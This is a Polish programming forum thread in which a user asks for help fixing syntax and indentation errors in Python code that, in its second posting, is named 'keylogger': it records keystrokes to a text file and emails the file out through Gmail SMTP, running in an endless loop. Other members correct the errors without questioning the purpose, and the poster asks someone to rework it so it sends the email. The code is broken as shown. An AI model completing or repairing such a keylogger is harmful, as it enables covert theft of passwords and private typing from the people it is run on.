Wątek przeniesiony 2019-07-01 22:13 z przez cerrato.

Python invalid syntax error przy kompilacji

Odpowiedz Nowy wątek
2019-07-01 21:45
0

Witam, podczas kompilacji kodu, wyskakuje error invalid syntax przy for string in . Wie ktoś jak to naprawić?

import threading
import os
import keyboard
import smtplib
from time import sleep

def wyslijzalacznik():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")
        for string in  //TUTAJ ERROR
        keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()
edytowany 1x, ostatnio: hauleth, 2019-07-01 21:52
Pokaż pozostałe 3 komentarze
Ale raczej nie mowimy tutaj o kompilowaniu mimo wszystko - stivens 2019-07-01 22:20
Jeśli Masz na myśli kompilację, jako tłumaczenie do kodu maszynowego to nie, ale generalnie kompilacja to tłumaczenie z języka na język (może być ten sam), więc w takim sensie tak. - lion137 2019-07-01 22:23
Java tez sie do bytecodu kompiluje ale tam juz smialo o kompilacji mozna mowic. Po prostu jest taka troche intuicyjna interpretacja co jest kompilowane a co interpretowane i nie ma chyba co sie nad tym rozwodzic - stivens 2019-07-01 22:26
Java ma JIT, który kompiluje pewne sekwencje byte codu do kodu maszynowego, a niektóre interpretuje, więc w tym sensie Java jest bardziej kompilowana niż Python. - lion137 2019-07-01 22:31
I co wazne statycznie sprawdzana pod wzgledem czesciowej poprawnosci - stivens 2019-07-01 22:33

Pozostało 580 znaków

2019-07-01 21:47
0

Po for string in nie może być znaku nowej linii.

Chodzi o // ? - supremeje 2019-07-01 21:49
No to na pewno, bo w Pythonie komentarz to # an nie // - hauleth 2019-07-01 21:52
unindent does not match any outer indentation level Teraz... - supremeje 2019-07-01 21:54

Pozostało 580 znaków

2019-07-01 21:57
0

Pokaż kod po "poprawce". Sprawdź, czy nie pomieszałeś tabów i spacji przy wcięciach.

Pozostało 580 znaków

2019-07-01 22:01
0

I co tu zmienić? :p


import threading
import os
import keyboard
import smtplib
from time import sleep

def keylogger():
        FILE_NAME="helloworld.txt"
        CLEAR_ONSTARTUP=False
        TERMINATE_KEY="enter"

        if  CLEAR_ONSTARTUP:
                os.remove(FILE_NAME)
                output=open(FILE_NAME, "a")

       for string in
       keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
                output.write(string)
                output.close()

def sendmail():

        gmail_user="gmail"
        gmail_password="pass"
        FROM=gmail_user
        TO="gmail"
        Subject="jey"

        sleep(7.0)
        try:
                F=open("helloworld.txt","r")
                TEXT=F.read()
                message="""\From: %S
To: %S
Subject: %S
%S
"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user,gmail_password)
        server.sendmail(FROM, TO, message)
        server.close()
        print "eviado"
                     except:
        print "error"
        os.system("helloworld.txt")

while True:

    if __name__ == "__main__":

        key = threading.Thread(target=hellowr) #Tak wgl...
        mail = threading.Thread(target=sendmail)

        key.start()
        mail.start()

        key.join()
        mail.join()
edytowany 1x, ostatnio: supremeje, 2019-07-01 22:02

Pozostało 580 znaków

2019-07-01 22:02

powinno być w jednej lini, o tak:
for string in keyboard.get_typed_strings(keyboard.record( TERMINATE_KEY)):
ucięło mi wcięcie, ale wiadomo o co chodzi ;)

edytowany 1x, ostatnio: iksde, 2019-07-01 22:02

Pozostało 580 znaków

2019-07-01 22:04
0

Teraz tu przy except: ...

"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:    #THERE
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()

Pozostało 580 znaków

2019-07-01 22:05
1

Kurcze a juz napisalem ze ta "poprawka" sie pewnie skonczyla na usunieciu komentarza ale usunalem bo nie chcialem byc zlosliwy ;)


01010100 01110101 01110100 01100001 01101010 00100000 01101110 01101001 01100101 00100000 01101101 01100001 00100000 01101110 01101001 01100011 00100000 01100011 01101001 01100101 01101011 01100001 01110111 01100101 01100111 01101111 00101110 00100000 01001001 01100011 00100000 01110011 01110100 01101111 01101110 01110100 00101110
:D Nie jestem dobry w Pythonie, ale muszę to skończyć dla kolegi więc jak się już obiecywało to nie wypada wycofać się :p - supremeje 2019-07-01 22:06

Pozostało 580 znaków

2019-07-01 22:07
1

Musisz popracować nad wcięciami, except musi być na tym samym poziomie, co porzedzające je try. Drugi try/except ma wcięte keywordy zamiast bloku pod nimi - powinno być na odwrót ;) try i except na równi z poprzednimi, a wszystko pod nimi wcięte o jeden poziom więcej.

Pozostało 580 znaków

2019-07-01 22:07
1
supremeje napisał(a):

Teraz tu przy except: ...

"""% (FROM, ", ".join(TO), SUBJECT, TEXT)
                except:    #THERE
                        print"error"
                        try:
        server =smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()

Brak spacji po print, zla indentacja po try (ten try ma byc w except?) [zle wciecia w ogole*]


01010100 01110101 01110100 01100001 01101010 00100000 01101110 01101001 01100101 00100000 01101101 01100001 00100000 01101110 01101001 01100011 00100000 01100011 01101001 01100101 01101011 01100001 01110111 01100101 01100111 01101111 00101110 00100000 01001001 01100011 00100000 01110011 01110100 01101111 01101110 01110100 00101110
edytowany 1x, ostatnio: stivens, 2019-07-01 22:08
Co do print to python 2 czy 3? I czemu 2? - stivens 2019-07-01 22:10

Pozostało 580 znaków

2019-07-01 22:12
0

Dobra, może ktoś chciałby "przerobić" ten kod, aby działał i wysyłał na email? :p Bo coś czuję, że będzie jeszcze min.20 postów...

Pozostało 580 znaków

2019-07-01 22:16
0

Z kodem wszystko chyba ok. Dodałem () w print "error" -print ("error") wszystko wyrównałem do lewej. Ale teraz po uruchomieniu Wyświetla mi się 2x error i nic nie dostaję na email......

Jak z nawiasami to spacja zbedna. Z telefonu Ci nie naprawie. Wyrownanie wszystkiego do lewej brzmi jak bardzo zly pomysl xd - stivens 2019-07-01 22:19
Jak będziesz miał dostęp do PC zobaczysz co da się zrobić? Byłbym bardzoo wdzięczny :p - supremeje 2019-07-01 22:21

Pozostało 580 znaków

Odpowiedz
Liczba odpowiedzi na stronę

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0